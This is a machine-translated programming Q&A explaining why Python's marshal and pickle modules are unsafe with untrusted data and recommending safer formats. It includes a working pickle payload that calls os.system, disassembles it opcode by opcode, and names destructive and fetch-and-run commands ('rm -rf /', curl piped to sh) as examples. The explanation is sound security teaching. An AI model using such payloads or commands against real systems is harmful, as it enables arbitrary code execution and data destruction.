python – Marshal反序列化 – 不安全

我在一个项目中工作,我使用cPickle快速加载文件.几天前我读到,元帅甚至可能比cPickle更快.它对我有用,但我很好奇,the documentation的这个警告是关于:

Warning

The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source.

如果我不小心,会发生什么?

解决方法:

元帅

没有已知的方法来利用元帅.实际上执行代码时
使用marshal.loads()不是我能做的事情,而是看着
marhal.c源代码,我没有看到一个明显的方法.

那为什么这个警告呢? The BDFL explains

BTW the warning for marshal is legit — the C code that unpacks marshal data
has not been carefully analyzed against buffer overflows and so on. Remember
the first time someone broke into a system through a malicious JPEG? The same
could happen with marshal. Seriously.

我建议你阅读剩下的讨论内容;一个错误显示在哪里
解组数据会导致Python出现段错误;自Python以来,这已得到修复
2.5(这个bug可能会被滥用来执行代码).其他错误可能
但仍然存在!

此外,元帅们提到:

This is not a general “persistence” module. [..] The marshal module exists
mainly to support reading and writing the “pseudo-compiled” code for Python
modules of .pyc files.

因此,它甚至不能以可靠的方式保存数据.

泡菜

您可以使用pickle轻松执行任意代码.例如:

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin   data  download  home  lib64       mnt  proc  run   srv  tmp     usr      var
boot  dev   etc       lib   lost+found  opt  root  sbin  sys  ubuntu  vagrant
0

这是一个无害的ls /,但也可能是一个不那么无害的rm -rf /,或者a
卷曲http://example.com/hack.sh | SH.

您可以使用pickletools模块查看其工作原理:

>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'ls /'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP

pickle.py对这些操作码的含义有一些评论:

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args 
MARK           = b'('   # push special markobject on stack
STRING         = b'S'   # push string; NL-terminated string argument
TUPLE          = b't'   # build tuple from topmost stack items
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STOP           = b'.'   # every pickle ends with STOP

大多数是不言自明的;使用GLOBAL,您可以获得任何功能,并且
用REDUCE你叫它.

由于Python非常动态,您也可以使用它来修补程序
在运行时.例如,您可以使用更改check_password函数
将密码上传到服务器的地方.

什么是安全的?

XML,json,MessagePack,ini文件,或者其他东西.这取决于
在您的情况下哪种格式最好.

这段代码是否“经过仔细分析,以防止缓冲区溢出等”?谁
知道.大多数代码都没有,C使得做错事变得容易.1甚至是Python
代码可能很脆弱,如may call functions implemented in C that are
vulnerable
.

have been problems with Python’s JSON module.但同时
时间,它在面向公众的应用程序中使用了很多,所以它可能是安全的.它会
当然比marshal更安全,因为这只是为.pyc文件设计的
并明确附带“未经审核!”警告.

这当然不能保证.记得YAML security hole a few years back
that caused every Ruby on Rails application in the world to be vulnerable to
arbitrary code execution
.哎呀!这甚至不是一个微妙的缓冲区
溢出,但更明显的问题.

请注意,不应使用yaml的load()方法,因为它具有the
same problems as Ruby’s YAML
.请改用safe_load().

结论

泡菜模块中的警告是非常有必要的(它可能应该是
虽然更强,但是在元帅模块上方的警告似乎更多
“这个代码的设计并没有考虑安全性” – 警告类型,但是
实际上利用它并不是那么容易,而是依赖于假设的存在
在未知的错误.不过,你可能最好还是使用别的东西.

1确实应该对开源项目进行“仔细分析缓冲区溢出等”的信任印章.是的,您可以通过Veracode等方式支付大笔资金并分析您的代码,但这对于开源项目来说是不可行的.几年前OpenSSL Heartbleed集群以Core Infrastructure Initiative的形式做了一些努力,但它的范围和预算相当有限(但它相当年轻,可能在几年内获得牵引力).

上一篇:java – 自定义视图’ImageButton’调用了setOnTouchListener但不覆盖performClick


下一篇:javascript – 意外值对齐解析preserveAspectRatio属性Firefox错误